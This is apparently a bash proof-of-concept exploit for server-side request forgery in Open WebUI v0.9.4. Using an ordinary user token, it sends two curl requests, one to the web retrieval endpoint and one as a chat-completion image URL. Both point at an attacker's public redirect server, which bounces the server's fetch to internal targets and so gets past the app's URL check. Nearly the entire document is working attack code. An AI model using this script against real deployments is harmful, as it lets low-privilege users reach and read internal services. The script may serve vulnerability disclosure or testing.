#!/usr/bin/env bash # Open WebUI v0.9.4 — SSRF via HTTP redirect bypass of validate_url() # # Prerequisite: regular `user`-role account (NOT admin). Default config. # Set REDIRECT_URL to your public redirect_server.py instance. # # Usage: # OPENWEBUI=http://target:3000 \ # USER_TOKEN=eyJ... \ # REDIRECT_URL=http://your-public-vps:8000/r \ # ./exploit_ssrf.sh set -euo pipefail OPENWEBUI="${OPENWEBUI:-http://localhost:3000}" USER_TOKEN="${USER_TOKEN:?set USER_TOKEN to a regular user JWT}" REDIRECT_URL="${REDIRECT_URL:?set REDIRECT_URL to your public redirect server}" echo "==============================================================" echo "Vector A: POST /api/v1/retrieval/process/web (full-read for binary targets)" echo " validate_url() checks REDIRECT_URL hostname (public -> pass)" echo " requests.get() follows 302 to internal target" echo "==============================================================" curl -s -X POST "$OPENWEBUI/api/v1/retrieval/process/web?process=false" \ -H "Authorization: Bearer $USER_TOKEN" \ -H 'Content-Type: application/json' \ -d "{\"url\": \"$REDIRECT_URL\"}" | python3 -m json.tool || true echo echo "==============================================================" echo "Vector B: chat-completion image_url (default-on, semi-blind)" echo " convert_url_images_to_base64() -> get_image_base64_from_url()" echo " aiohttp session.get() follows 302; body base64-encoded into LLM prompt" echo "==============================================================" curl -s -X POST "$OPENWEBUI/api/chat/completions" \ -H "Authorization: Bearer $USER_TOKEN" \ -H 'Content-Type: application/json' \ -d "{ \"model\": \"any\", \"messages\": [{ \"role\": \"user\", \"content\": [ {\"type\": \"text\", \"text\": \"describe\"}, {\"type\": \"image_url\", \"image_url\": {\"url\": \"$REDIRECT_URL\"}} ] }] }" | head -c 2000 echo echo echo "Check redirect_server.py logs: you should see hits originating from the" echo "Open WebUI server's IP, proving server-side fetch of the internal target."